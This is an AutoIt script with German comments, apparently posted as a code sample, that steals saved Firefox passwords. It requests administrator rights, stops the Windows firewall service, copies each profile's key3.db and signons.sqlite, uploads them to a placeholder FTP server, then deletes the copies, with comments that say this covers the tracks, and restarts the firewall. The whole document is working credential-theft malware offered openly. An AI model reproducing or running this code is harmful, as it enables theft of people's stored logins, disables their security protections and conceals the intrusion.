Code:
#include <FTPEx.au3>
#include <File.au3>
#include <Array.au3>
#include <ServiceControl.au3>
#RequireAdmin
If _ServiceExists("", "SharedAccess") Then ;Kontrolle der Firewall
If _ServiceRunning("", "SharedAccess") = 1 Then
_StopService("", "SharedAccess")
$toggled = 1
EndIf
endif
func _StealFFPW()
if FileExists(@HomePATH&"\AppData\Roaming\Mozilla\") then
$hFTP = _FTP_Open("beliebig")
$idFTP = _FTP_Connect($hFTP, "FTP-SERVER", "USER", "PW")
$aFFProf = _FileListtoArray(@HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\")
For $i = 1 to $aFFProf[0]
FileCopy(@HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\key3.db", @HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\key3.txt")
FileCopy(@HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\signons.sqlite", @HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\signons.txt")
_FTP_FilePut($idFTP, @HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\key3.txt", "/"&$aFFProf[$i]&"_key3.txt")
_FTP_FilePut($idFTP, @HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$i]&"\signons.txt", "/"&$aFFProf[$i]&"_signons.txt")
Sleep(5000)
Next
For $j = 1 to $aFFProf[0]
FileDelete(@HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$j]&"\key3.txt") ;Spuren verwischen
FileDelete(@HomePATH&"\AppData\Roaming\Mozilla\Firefox\Profiles\"&$aFFProf[$j]&"\signons.txt") ;Spuren verwischen
Next
if $toggled = 1 then
If _ServiceExists("", "SharedAccess") Then
If _ServiceRunning("", "SharedAccess") = 0 Then
_StartService("", "SharedAccess")
EndIf
endif
endif
Else
Exit
endif
endfunc